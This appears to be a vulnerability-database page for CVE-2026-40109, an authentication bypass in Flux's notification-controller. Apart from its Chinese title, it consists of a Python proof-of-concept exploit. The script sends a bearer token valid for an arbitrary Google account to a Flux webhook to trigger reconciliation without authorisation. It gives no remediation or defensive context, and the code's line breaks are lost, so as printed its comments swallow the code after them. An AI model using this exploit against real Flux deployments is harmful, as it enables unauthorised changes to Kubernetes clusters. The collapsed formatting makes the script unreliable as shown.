CVE-2026-40109 Flux notification-controller 认证绕过漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-40109 # Requires: requests, google-auth import requests from google.oauth2 import id_token from google.auth.transport import requests as google_requests # Target Webhook URL (Obtained via reconnaissance) WEBHOOK_URL = "https://flux-controller.example.com/hook/sha256sum..." # 1. Obtain a valid Google OIDC token # In a real scenario, this would be a valid token for any Google account # The vulnerability does not require the token to match the specific service account email try: # Simulating token retrieval or using a valid token string # For demonstration, we assume you have a token string valid_token = "ya29.a0AfH6SMB..." headers = { "Authorization": f"Bearer {valid_token}", "Content-Type": "application/json" } # 2. Send malicious request to trigger reconciliation response = requests.post(WEBHOOK_URL, headers=headers, json={}) if response.status_code == 200: print("[+] Successfully triggered reconciliation.") else: print(f"[-] Failed with status code: {response.status_code}") print(response.text) except Exception as e: print(f"Error: {e}")